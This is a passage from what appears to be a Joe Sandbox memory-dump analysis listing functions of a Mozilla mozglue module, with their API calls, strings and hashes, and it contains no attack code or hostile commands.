Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID:
API String ID: 3421697164-0
Opcode ID: 07cc6ade3ec9c75e1c47f1bacc9bf494410846e26e0c0d3c549374af2ba45170
Instruction ID: c3e7bde02f333698f016ae5cec0a54e6445d985056d09b14318487dd033fdf6b
Opcode Fuzzy Hash: 07cc6ade3ec9c75e1c47f1bacc9bf494410846e26e0c0d3c549374af2ba45170
Instruction Fuzzy Hash: 76214A756083049FCB14DF18D889A9EBBF5EF89314F50482CE88A97761CB34E909CB92

Function 6C90AAE0 Relevance: 6.1, APIs: 4, Instructions: 59threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C90AAF8
EnterCriticalSection.KERNEL32(6C92F770,?,6C8CBF9F), ref: 6C90AB08
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,6C8CBF9F), ref: 6C90AB39
LeaveCriticalSection.KERNEL32(6C92F770,?,?,?,?,?,?,?,?,6C8CBF9F), ref: 6C90AB6B

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread_stricmp
String ID:
API String ID: 1951318356-0
Opcode ID: 69fd69eddef8155587cad5ff370c373c5992f94f8aa7c87df9931ed7a9a72d21
Instruction ID: 4da8dbef3935cfe387ca18c0f80759d0a92666ebdb5ba6ad6345fed9c251d759
Opcode Fuzzy Hash: 69fd69eddef8155587cad5ff370c373c5992f94f8aa7c87df9931ed7a9a72d21
Instruction Fuzzy Hash: A01133B1B142198FCF00DFA8D88499BBBB9FF457087140429E58597301EB34E909CBA1

Function 6C8BB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8BB4F5
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8BB502
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8BB542
free.MOZGLUE(?), ref: 6C8BB578

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: b28d291a477f30680c1d5ae9e7af06bfa395d8427392403f3566b2ef5bddd487
Instruction ID: 38e41c4f06338068998ed6249f3fffa2adb2a67d9d87d512bd4c0bb4be90accd
Opcode Fuzzy Hash: b28d291a477f30680c1d5ae9e7af06bfa395d8427392403f3566b2ef5bddd487
Instruction Fuzzy Hash: 1011D230A18B45C7D7218F29CA447A1B3B0FF96318F205B1AD88A63B01EBB5F1C4C791

Function 6C8E3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C8AF20E,?), ref: 6C8E3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C8AF20E,00000000,?), ref: 6C8E3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C8E3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C8E3E0E

Part of subcall function 6C8DCC00: GetCurrentProcess.KERNEL32(?,?,6C8A31A7), ref: 6C8DCC0D
Part of subcall function 6C8DCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C8A31A7), ref: 6C8DCC16

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 7f37a97934db3b662481e9fe300a67efda745a07a9b2368fed2308df16c8af44
Instruction ID: cbd2b69e16445fc62b79a2c51c38213f9180eeedde4a2683d31dae9299794252
Opcode Fuzzy Hash: 7f37a97934db3b662481e9fe300a67efda745a07a9b2368fed2308df16c8af44
Instruction Fuzzy Hash: 2DF082B15102087BEB00AB54DC41DAB376CEB46628F150430FE4917701D639FD2586F7

Function 6C8F2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8F205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C8F201B,?,?,?,?,?,?,?,6C8F1F8F,?,?), ref: 6C8F2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8F208E
free.MOZGLUE(?,?,?,00000000,?,6C8F201B,?,?,?,?,?,?,?,6C8F1F8F,?,?), ref: 6C8F20A3

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 0129aef5d24565f0783498a790c75dd9cffa689524203f15f3e4d18d51b9025a
Instruction ID: a6e480b428648d2400e3ff18d8f961d8e9f1ffc5ee78a654db86a3e4b767ffe4
Opcode Fuzzy Hash: 0129aef5d24565f0783498a790c75dd9cffa689524203f15f3e4d18d51b9025a
Instruction Fuzzy Hash: F1F0B4B21047049BC7218F16D88879BB7F8EF86364F20052AE54687710C77AA806CBD6

Function 6C8F20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8F20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C8DFBD1), ref: 6C8F20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C8DFBD1), ref: 6C8F20DA
free.MOZGLUE(00000000,?,6C8DFBD1), ref: 6C8F20F1

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: c36ce165853f5828ff525cc11c05a1fbdc5a0596518fba6dec190a0d288bc703
Instruction ID: a748b13ea507a370fd82bbec2ce30b876642bd0399760968a00fd4d8a139836d
Opcode Fuzzy Hash: c36ce165853f5828ff525cc11c05a1fbdc5a0596518fba6dec190a0d288bc703
Instruction Fuzzy Hash: ABE06C716046145BC7309F25990858EB7F9FF862547140526E54783700D779F54686D5

Function 6C8F85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C8F85D3

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C8F8725

Strings

map/set<T> too long, xrefs: 6C8F8720

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 509ba1c62fef53bc024aa3d5512f9aade53d23c656fba4a3abffe2c38a8b984d
Instruction ID: 584b83d292c723cfc5f79e73a805422c84e8a2e1ac4955d44de00c05353c878f
Opcode Fuzzy Hash: 509ba1c62fef53bc024aa3d5512f9aade53d23c656fba4a3abffe2c38a8b984d
Instruction Fuzzy Hash: 855175746006458FC711CF19C288B5ABBF1BF4A358F18C99AD8695BB52C338EC86CF91

Function 6C8ABD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C8ABDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C8ABE8F

Strings

0, xrefs: 6C8ABE5B

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 1d2d179b1aa928fcdf62bbf44757a32e368debb3d98a461bc207fde2c781bee3
Instruction ID: 99c8775222326d9a8f0685ad6ac0dac5b75817b223b7825dbcc9722c2faab9a3
Opcode Fuzzy Hash: 1d2d179b1aa928fcdf62bbf44757a32e368debb3d98a461bc207fde2c781bee3
Instruction Fuzzy Hash: 2341A171909749CFC721CFB8C581AABB7F4AF8A348F004E1DF98557611D731D95A8B82

Function 6C8A9A20 Relevance: 5.3, APIs: 4, Instructions: 338COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C8A9B2C
memcpy.VCRUNTIME140(6C8A99CF,00000000,?), ref: 6C8A9BB6
memcpy.VCRUNTIME140(?,?,?), ref: 6C8A9BF8
memcpy.VCRUNTIME140(?,?,?), ref: 6C8A9DE4

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 917b369017ca57af89570efe1fbae720568d135eac252f68e8c07acc98ba2c75
Instruction ID: 820f377e2b91632a372f88708848994245a92abc905921090e9bba350bc934c7
Opcode Fuzzy Hash: 917b369017ca57af89570efe1fbae720568d135eac252f68e8c07acc98ba2c75
Instruction Fuzzy Hash: AED17D71A046199FCB14CFA9C981AAEB7F2FF88314F184929E905A7B40D731ED56CB90

Function 6C8F0A70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 6C8B37F0: ?ensureCapacitySlow@ProfilingStack@baseprofiler@mozilla@@AAEXXZ.MOZGLUE(?,?,?,?,6C90145F,baseprofiler::AddMarkerToBuffer,00000000,?,00000039,00000000), ref: 6C8B380A

Part of subcall function 6C8E8DC0: moz_xmalloc.MOZGLUE(00000038,?,?,00000000,?,6C9006E6,?,?,00000008,?,?,?,?,?,?,?), ref: 6C8E8DCC

Part of subcall function 6C8F0B60: moz_xmalloc.MOZGLUE(00000080,?,?,?,?,6C8F138F,?,?,?), ref: 6C8F0B80

?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,00000001,?,?,6C8F138F,?,?,?), ref: 6C8F0B27
free.MOZGLUE(?,?,?,?,?,6C8F138F,?,?,?), ref: 6C8F0B3F

Strings

baseprofiler::profiler_capture_backtrace, xrefs: 6C8F0AB5

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: moz_xmalloc$?ensure?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CapacityCaptureChunkedOptions@2@@ProfileProfilingSlow@StackStack@baseprofiler@mozilla@@free
String ID: baseprofiler::profiler_capture_backtrace
API String ID: 3592261714-147032715
Opcode ID: 9e36c312242c02091eff4dbd96d1a9b4da4c200cd5dc27d603521cc7797bca2b
Instruction ID: 712327e02812e48bb6a30dbb71aaa9b9668cf717abbaaa870b82598ceade596b
Opcode Fuzzy Hash: 9e36c312242c02091eff4dbd96d1a9b4da4c200cd5dc27d603521cc7797bca2b
Instruction Fuzzy Hash: CF21E774B002499FDB24DF58C950BBE7375AF85748F10083DD4659BB41D774A906CBA1

Function 6C8AF180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(?,?), ref: 6C8AF19B

Part of subcall function 6C8CD850: EnterCriticalSection.KERNEL32(?), ref: 6C8CD904
Part of subcall function 6C8CD850: LeaveCriticalSection.KERNEL32(?), ref: 6C8CD971
Part of subcall function 6C8CD850: memset.VCRUNTIME140(?,00000000,?), ref: 6C8CD97B

mozalloc_abort.MOZGLUE(?), ref: 6C8AF209

Strings

d, xrefs: 6C8AF1F5

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSection$EnterLeavecallocmemsetmozalloc_abort
String ID: d
API String ID: 3775194440-2564639436
Opcode ID: 2cbe62862729cb10bffb88708823ca67e2ff8e1071b981e1b8b26661515c5493
Instruction ID: 5539d9bc92a78b9b974e25cd1f23cfa52a46bbc7c0d0e79c77b5575f378bbf64
Opcode Fuzzy Hash: 2cbe62862729cb10bffb88708823ca67e2ff8e1071b981e1b8b26661515c5493
Instruction Fuzzy Hash: 04118032F0564987EB158F9CCA511FDB379DF66208B11592DDC4597711EB349D85C380

Function 6C8BCA10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?), ref: 6C8BCA26

Part of subcall function 6C8BCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C8BCB49
Part of subcall function 6C8BCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C8BCBB6

mozalloc_abort.MOZGLUE(?), ref: 6C8BCAA2

Strings

d, xrefs: 6C8BCA6C

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSection$EnterLeavemallocmozalloc_abort
String ID: d
API String ID: 3517139297-2564639436
Opcode ID: 2dbc37fec840bb606d484142f4bf7b5ed83d9d8b238e33d6b741ac4a4e02db56
Instruction ID: 4a4777232a7bbe19cc1d95bf46360a024bec591808623fe5aaaec25fdbdc55b0
Opcode Fuzzy Hash: 2dbc37fec840bb606d484142f4bf7b5ed83d9d8b238e33d6b741ac4a4e02db56
Instruction Fuzzy Hash: F8114462E0468883DB01DB6CC9410FDB7B4EF96204F55AA39DC85A7713FB74A9C8C380

Function 6C8E3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8E3D19
mozalloc_abort.MOZGLUE(?), ref: 6C8E3D6C

Strings

d, xrefs: 6C8E3D58

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 7db07c1c29ee48c753e48d7e6ae3e4efa5aa58390a81a6e8beca2110f9459675
Instruction ID: b7f3d4fe7b70d9ff5c1f7c9c6e2832ead40e3192da160f286c04cdcb711d6214
Opcode Fuzzy Hash: 7db07c1c29ee48c753e48d7e6ae3e4efa5aa58390a81a6e8beca2110f9459675
Instruction Fuzzy Hash: 50115B31F08788D7DB118B6DC9054EDB375EF9B315B458A28DC8497711EB34AD84C350

Function 6C8C1A50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

realloc.MOZGLUE(?,?), ref: 6C8C1A6B

Part of subcall function 6C8C1AF0: EnterCriticalSection.KERNEL32(?), ref: 6C8C1C36

mozalloc_abort.MOZGLUE(?), ref: 6C8C1AE7

Strings

d, xrefs: 6C8C1AB1

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalEnterSectionmozalloc_abortrealloc
String ID: d
API String ID: 2670432147-2564639436
Opcode ID: 86cfa0005d94c75858d2b770ffe608018e60de9993e6238cf778dc08f25fa4c0
Instruction ID: 43e95a7be2a6a78a4ac3b0f32c51f977bff5c24181c9fe4b6760e251046f680b
Opcode Fuzzy Hash: 86cfa0005d94c75858d2b770ffe608018e60de9993e6238cf778dc08f25fa4c0
Instruction Fuzzy Hash: 5C115932F1428C87CB158BACC9514FEB3B4EF96204F458A29DC855BB12EB70E9C4C381

Function 6C8B4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C8B44B2,6C92E21C,6C92F7F8), ref: 6C8B473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C8B474A

Strings

GetNtLoaderAPI, xrefs: 6C8B4744

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 88209ca6e8ffcda1951ac39b65340ca3b701adddc54c3ba4b9e99bdace49f4f7
Instruction ID: 44a806053412ad92a413fabd4b01b045ba9497aca638d77859d61ca1d6f56ae9
Opcode Fuzzy Hash: 88209ca6e8ffcda1951ac39b65340ca3b701adddc54c3ba4b9e99bdace49f4f7
Instruction Fuzzy Hash: A6019E753182589FDF10AFA68985A197BF9EBCB321B240469EA46D7300CB78D801CF91

Function 6C906DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C906E22
__Init_thread_footer.LIBCMT ref: 6C906E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C906E1D

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 80989b9a2ab927c1cc26619c3756c9528c10b9df26ce4db1197dda59f9a68fff
Instruction ID: b6a7fe6c91621027f08621dd4ff5e6a60493daefdaf440a195eb63e4cc47e94e
Opcode Fuzzy Hash: 80989b9a2ab927c1cc26619c3756c9528c10b9df26ce4db1197dda59f9a68fff
Instruction Fuzzy Hash: 4CF02435319388CBEB008B68CA50E857771D74361CF240169C88446F51C729F5AACB93

Function 6C8B9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C8B9EEF

Strings

Infinity, xrefs: 6C8B9EB7
NaN, xrefs: 6C8B9EC1

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 267f1c9808c1e5e79104a3d37ad4a7fdc15887ef1e5494920258ebeb6c02aac7
Instruction ID: 0f2324bd2362316e0e547278d2d11e118249e20781e77cbae53e11dcc614909b
Opcode Fuzzy Hash: 267f1c9808c1e5e79104a3d37ad4a7fdc15887ef1e5494920258ebeb6c02aac7
Instruction Fuzzy Hash: 59F0A970628365CADB108F58DA46B823771A35371DF700A29D5C81AB40D37DB54ACB82

Function 6C905900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(MOZ_SKELETON_UI_RESTARTING,6C9251C8), ref: 6C90591A
CloseHandle.KERNEL32(FFFFFFFF), ref: 6C90592B

Strings

MOZ_SKELETON_UI_RESTARTING, xrefs: 6C905915

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CloseEnvironmentHandleVariable
String ID: MOZ_SKELETON_UI_RESTARTING
API String ID: 297244470-335682676
Opcode ID: 5592997f77adf5324c85018e95626640e50535763a1dbf34c3acb4fd7be563a4
Instruction ID: 265a606cdbe2803796e443ad158d2e4f85b9a93538ee23c61119f418aa36d2c3
